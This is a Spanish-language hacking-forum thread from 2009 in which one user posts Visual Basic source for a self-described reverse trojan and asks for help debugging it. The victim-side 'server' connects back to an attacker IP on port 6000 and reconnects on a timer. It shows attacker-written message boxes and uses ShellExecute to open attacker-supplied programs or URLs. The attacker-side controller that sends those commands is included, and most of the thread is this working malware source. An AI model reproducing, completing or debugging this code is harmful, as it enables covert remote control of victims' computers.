elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  exe final no recibe los datos...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: exe final no recibe los datos...  (Leído 1,637 veces)
fede_cp


Desconectado Desconectado

Mensajes: 527


"porque pensar nunca fue entender"


Ver Perfil WWW
exe final no recibe los datos...
« en: 13 Junio 2009, 01:54 am »

bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:
Código
  1. Option Explicit
  2. Public WithEvents server As CSocketMaster
  3.  
  4. Private Sub Form_Load()
  5. Set server = New CSocketMaster
  6. server.CloseSck
  7. server.RemoteHost = "ip-ip-ip-ip"
  8. server.Connect server.RemoteHost, 6000
  9. End Sub
  10.  
  11. Private Sub Label1_Click()
  12. If server.State = sckConnected Then
  13. Label1.Caption = "conectado"
  14. ElseIf server.State = sckClosed Then
  15. Label1.Caption = "desconectado"
  16. ElseIf server.State = sckConnecting Then
  17. Label1.Caption = "conectando"
  18. End If
  19. End Sub
  20.  
  21.  
  22. Private Sub Timer1_Timer()
  23. If server.State = 0 Then
  24. server.Connect server.RemoteHost, 6000
  25. ElseIf server.State = 7 Then
  26. Else
  27. server.CloseSck
  28. End If
  29. End Sub
  30.  
  31. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  32. Dim datos As String
  33. Dim res As String
  34. Dim res1 As String
  35.  
  36.  
  37. server.GetData datos
  38.  
  39.  
  40.  
  41. Select Case LCase(Split(datos, "|")(0))
  42.  
  43. Case LCase("mensaje")
  44.  
  45. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
  46. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  47. End If
  48. ''''
  49. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
  50. res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
  51. If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
  52. End If
  53. ''''
  54. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
  55. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
  56. End If
  57. ''''
  58. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
  59. res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
  60. If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
  61. End If
  62.     '''''
  63.  
  64.  
  65. ''''''''''''
  66.  
  67. ''''''''''''
  68. End Select
  69.  
  70. End Sub

cliente:
Código
  1. Option Explicit
  2. Public WithEvents ws As CSocketMaster
  3.  
  4. Private Sub Check2_Click()
  5. If Check2.Value = 1 Then
  6. Check3.Enabled = False
  7. ElseIf Check2.Value = 0 Then
  8. Check3.Enabled = True
  9. End If
  10. End Sub
  11.  
  12. Private Sub Check3_Click()
  13. If Check3.Value = 1 Then
  14. Check2.Enabled = False
  15. ElseIf Check3.Value = 0 Then
  16. Check2.Enabled = True
  17. End If
  18. If Check3.Value = 1 Then
  19. Option1.Enabled = False
  20. Option2.Enabled = False
  21. Option3.Enabled = False
  22. Option5.Enabled = False
  23. Text6.Enabled = False
  24. End If
  25. If Check3.Value = 0 Then
  26. Option1.Enabled = True
  27. Option2.Enabled = True
  28. Option3.Enabled = True
  29. Option5.Enabled = True
  30. Text6.Enabled = True
  31. End If
  32. End Sub
  33.  
  34. Private Sub Command1_Click()
  35. Dim datos As String
  36. Dim datos1 As String
  37. Dim mensajes As String
  38. Dim titulo As String
  39. datos1 = Check1.Value
  40. mensajes = Text1.Text
  41. titulo = Text4.Text
  42. datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
  43. '''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
  44. ws.SendData datos
  45.  
  46. End Sub
  47.  
  48. Private Sub Command2_Click()
  49. ws.CloseSck
  50. ws.LocalPort = Text2.Text
  51. ws.Listen
  52. Text2.Enabled = False
  53. End Sub
  54.  
  55. Private Sub Form_Load()
  56. Set ws = New CSocketMaster
  57. End Sub
  58.  
  59. Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  60. If ws.State = sckConnected Then
  61. Label5.Caption = "Conectado"
  62. ElseIf ws.State = sckClosed Then
  63. Label5.Caption = "Desconectado"
  64. ElseIf ws.State = sckConnecting Then
  65. Label5.Caption = "Conectando"
  66. End If
  67. End Sub
  68.  
  69. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  70. ws.CloseSck
  71. ws.Accept requestID
  72. End Sub

ya se que es muy engorroso pero alguno que tenga ganas  ;)

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos


« Última modificación: 13 Junio 2009, 02:28 am por fede_cp » En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
fede_cp


Desconectado Desconectado

Mensajes: 527


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: exe final no recibe los datos...
« Respuesta #1 en: 13 Junio 2009, 03:14 am »

nadiee?

ayudaaaaaaaaaaa


En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
fede_cp


Desconectado Desconectado

Mensajes: 527


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: exe final no recibe los datos...
« Respuesta #2 en: 13 Junio 2009, 22:44 pm »

bueno el problema principal era Los "and" del server
Código
  1. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
  2. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  3. End If
  4. ''''
  5. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
  6. res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
  7. If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
  8. End If
  9. ''''
  10. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
  11. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
  12. End If
  13. ''''
  14. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
  15. res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
  16. If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
  17. End If

Pero ahora que laguien me conteste ¿ Que puedo usar para reemplazar a los and?



adios y que alguien contesteeeeeeee
En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
no recibe la conexion
Análisis y Diseño de Malware
sytem200 1 2,304 Último mensaje 11 Junio 2019, 21:14 pm
por @XSStringManolo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines